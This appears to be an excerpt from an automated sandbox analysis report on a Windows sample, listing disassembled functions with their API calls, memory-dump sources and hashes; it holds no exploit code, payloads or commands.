Instruction ID: 801c2ab123468f265612ebf47f5ff76b79529f5c1a358ee0f1a5f904b356ab24
Opcode Fuzzy Hash: f1f99e875c43f1cfd3b4a1d756cc85de3fd3afad6b7b3568e6aba9835e223b0c
Instruction Fuzzy Hash: 9821E5B5D00249EFDB10CFAAD984ADEBBF8EB48310F14841AE918A7350D378A944CF65

Function 351838E8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3518396F

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3cf4e7ee546ed15022e7d9c5677d92cd616f39444217d97768de403bd6a4cf70
Instruction ID: 2635ed002158e0e6e65f8e70ea5096689547a1e1643535bd2001b68eb89b4115
Opcode Fuzzy Hash: 3cf4e7ee546ed15022e7d9c5677d92cd616f39444217d97768de403bd6a4cf70
Instruction Fuzzy Hash: B221A4B5D00249DFDB10CFAAD984ADEFBF8EB48310F14841AE958A7350D378A954CF65

Function 351855C0 Relevance: 1.6, APIs: 1, Instructions: 61
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 35185639

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: f1d52f1d984191a34f5739e541d8a65a836ebfad1ffb8704b1aabf374a16c8bf
Instruction ID: a005a8d4b44d7549a246436e7fa0d3fddcb139cb76645545acff87d1c4d7c5a6
Opcode Fuzzy Hash: f1d52f1d984191a34f5739e541d8a65a836ebfad1ffb8704b1aabf374a16c8bf
Instruction Fuzzy Hash: 222135B1900209DFDB10CF9AC840BEEFBF4EB88320F10842AD415A3250D778A945CF65

Function 35181F9C Relevance: 1.6, APIs: 1, Instructions: 60
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxW.USER32(?,00000000,00000000,?,?,?,?,?,?,?,351822A5,?,?,?), ref: 351859D5

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 8f33f83841e6c7bd6d08265bc8070c1815442f49b1e2009538be7af577d51582
Instruction ID: 0fd8cf57267484a253a363f3cbb6d3a198a459107da5d213034128f9efa9d583
Opcode Fuzzy Hash: 8f33f83841e6c7bd6d08265bc8070c1815442f49b1e2009538be7af577d51582
Instruction Fuzzy Hash: 0721F3B5C04349EFDB10CF9AD884ADEBBB5FB88320F11842AE519A7200C375A944CFA5

Function 35185950 Relevance: 1.6, APIs: 1, Instructions: 60
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxW.USER32(?,00000000,00000000,?,?,?,?,?,?,?,351822A5,?,?,?), ref: 351859D5

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 1d6cf9b404578fef429133afad3ef80aed05903d7920fd510a944272185eddf1
Instruction ID: bb61b479f83b8d6f88bd2cad2fbf7c879520b31c032a640736e7679c923809fb
Opcode Fuzzy Hash: 1d6cf9b404578fef429133afad3ef80aed05903d7920fd510a944272185eddf1
Instruction Fuzzy Hash: 2821F3B5D05349DFCB10CF9AD884ADEBBB5FB88310F11846ED459A7200C375A944CFA5

Function 351855C8 Relevance: 1.6, APIs: 1, Instructions: 59
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 35185639

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: f57cd5a64810277233b6be917a3736e70f4089677b87109e04b8f9add32c79aa
Instruction ID: 41ff899c3c46fc913eae037e35524524ee95836303e545b440742c72a2e20f51
Opcode Fuzzy Hash: f57cd5a64810277233b6be917a3736e70f4089677b87109e04b8f9add32c79aa
Instruction Fuzzy Hash: 1F2124B190060ADFDB10CF9AC940BEEFBF8EB88320F14842AD415A7250D778A945CF65

Function 31D79130 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 31D791A4

Memory Dump Source

Source File: 00000018.00000002.2731211299.0000000031D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 31D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31d70000_rpkhzpuO.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 251b26b1245e6d88c8fbd426da1c12dbfc570a0356997cdb8f99289d9dd168fd
Instruction ID: a5ad447b7536e9bf7102f61d74c3ea20946c69a9dfdcd4c290df73cca9dfb18f
Opcode Fuzzy Hash: 251b26b1245e6d88c8fbd426da1c12dbfc570a0356997cdb8f99289d9dd168fd
Instruction Fuzzy Hash: A41124B19003499FDB10DFAAC880A9EFBF4EF88320F10842AD419A7200C7799900CFA5

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Function 31D79308 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 31D7936A

Memory Dump Source

Source File: 00000018.00000002.2731211299.0000000031D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 31D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31d70000_rpkhzpuO.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 04e000368eb8136490b6e3ffdf018f4612043fe40fff679ce6d6c6d840f83a95
Instruction ID: f015c6308ff94bb11c875611a44bf323eab525923eec079b584e6b147ec49807
Opcode Fuzzy Hash: 04e000368eb8136490b6e3ffdf018f4612043fe40fff679ce6d6c6d840f83a95
Instruction Fuzzy Hash: 77113AB1900349CFDB10DFAAC4457DEFBF4AF89720F248419D519A7240CB79A940CBA5

Function 31C2D5F0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2721070115.0000000031C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 31C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31c2d000_rpkhzpuO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de516d01558c36048a984cdd0a693d25ab42f0a7bd18a4958dd78c6f7f021646
Instruction ID: 7f974d6c4e025f32f94e329f7555c75c602c5a2ccacb59b174ee49dad1a061a8
Opcode Fuzzy Hash: de516d01558c36048a984cdd0a693d25ab42f0a7bd18a4958dd78c6f7f021646
Instruction Fuzzy Hash: B72133B6504340EFEF12DF10D9D0B26BF61FB98310F2089A8E8084B206C336D846CBA1

Function 31C2D6DC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2721070115.0000000031C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 31C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31c2d000_rpkhzpuO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae3c8c89933af1faa1eef4e81470267d60e321b142d95c3f452eb08a127a8d8c
Instruction ID: 562b56c5ac4358ae20976a80edc0a1cfd9a026c56900ffef981d000357b2fe12
Opcode Fuzzy Hash: ae3c8c89933af1faa1eef4e81470267d60e321b142d95c3f452eb08a127a8d8c
Instruction Fuzzy Hash: 43210676504384DFEF01EF10DDD0B26BF66FBA4714F208569E9084B24AC33AD856CBA2

Function 31C2D5EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2721070115.0000000031C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 31C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31c2d000_rpkhzpuO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a502eb29964fb70b335d053951dd0a963bd1f190f266041485f5dd999e37dee
Instruction ID: d1309228fd369246e901efeed5c95731d28c34a67bf352b08f585200e32eed98
Opcode Fuzzy Hash: 0a502eb29964fb70b335d053951dd0a963bd1f190f266041485f5dd999e37dee
Instruction Fuzzy Hash: FE11D3B6504280DFDB12CF10D9D4B16BF72FB94314F24C9A9D8494B256C33AD45ACBA2

Function 31C2D6D7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2721070115.0000000031C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 31C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31c2d000_rpkhzpuO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a502eb29964fb70b335d053951dd0a963bd1f190f266041485f5dd999e37dee
Instruction ID: 91829d2739b39b40008a15a9b7b5f9b05dba271a1f2afd91a62fda416f9bd4b4
Opcode Fuzzy Hash: 0a502eb29964fb70b335d053951dd0a963bd1f190f266041485f5dd999e37dee
Instruction Fuzzy Hash: 4311D37A504284DFDB02CF10D9D0B16BF72FB94714F24C6A9D8098B25AC33AD45ACBA2

Function 31C2D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2721070115.0000000031C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 31C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31c2d000_rpkhzpuO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf7cca60397221e47428da704e34dd111049ee8d770e323539f6c6e70de5a611
Instruction ID: a5ad826f233f227425dc4ba510ee560395d4c52bbe725b25a495ac9dd74bbefc
Opcode Fuzzy Hash: bf7cca60397221e47428da704e34dd111049ee8d770e323539f6c6e70de5a611
Instruction Fuzzy Hash: BE01296100E3C49FE7038B258CA4A66BFB4AF53264F1981DBD988CF1A3C2695849C772

Function 31C2D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2721070115.0000000031C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 31C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_31c2d000_rpkhzpuO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8945ead11496aab818587a13778d6f8793064fc4f1696a468eb306b17801e904
Instruction ID: fafc1aa9908ec80f64a25fdba029846e8af4bf8a32df0083aaea3ad5124bda0e
Opcode Fuzzy Hash: 8945ead11496aab818587a13778d6f8793064fc4f1696a468eb306b17801e904
Instruction Fuzzy Hash: 4B01F271004344EFFB014A26CD90B66FFA8EF523E4F08C01AED488A296C67C9846C7B1

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,31B118E8), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.RPKHZPUO(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(?,00000001,00000000,00000000,00000015,-30B19E70,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.RPKHZPUO(80070057), ref: 00401800
EntryPoint.RPKHZPUO(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.RPKHZPUO(8007000E), ref: 00401839
EntryPoint.RPKHZPUO(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(31B11688), ref: 00414050

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

